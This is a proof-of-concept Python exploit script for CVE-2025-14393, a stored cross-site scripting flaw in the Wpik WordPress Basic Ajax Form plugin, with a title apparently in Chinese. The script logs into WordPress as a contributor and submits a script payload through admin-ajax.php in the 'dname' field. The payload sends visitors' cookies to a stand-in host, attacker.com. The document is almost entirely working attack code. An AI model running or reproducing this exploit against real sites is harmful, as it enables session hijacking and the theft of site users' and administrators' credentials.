CVE-2025-14393: Wpik WordPress Basic Ajax Form插件存储型XSS漏洞

# CVE-2025-14393 PoC - Stored XSS in Wpik WordPress Basic Ajax Form # Affected: Wpik WordPress Basic Ajax Form <= 1.0 # Attack Vector: Authenticated Contributor+ can inject XSS via 'dname' parameter import requests import sys from urllib.parse import quote target_url = "http://target-wordpress-site.com" username = "attacker" password = "attacker_password" # XSS payload - steals cookies xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' def exploit_stored_xss(): """Exploit CVE-2025-14393 by injecting XSS via AJAX form""" session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Submit AJAX form with XSS payload in 'dname' parameter ajax_url = f"{target_url}/wp-admin/admin-ajax.php" form_data = { 'action': 'wpik_ajax_form_submit', # Plugin AJAX action 'dname': xss_payload, # XSS injection point 'demail': '[email protected]', 'dmessage': 'Test message' } response = session.post(ajax_url, data=form_data) if response.status_code == 200: print("[+] XSS payload submitted successfully") print(f"[+] Payload stored in database: {quote(xss_payload)}") print("[!] XSS will execute when any user views the affected page") return True else: print("[-] Failed to submit payload") return False if __name__ == "__main__": exploit_stored_xss()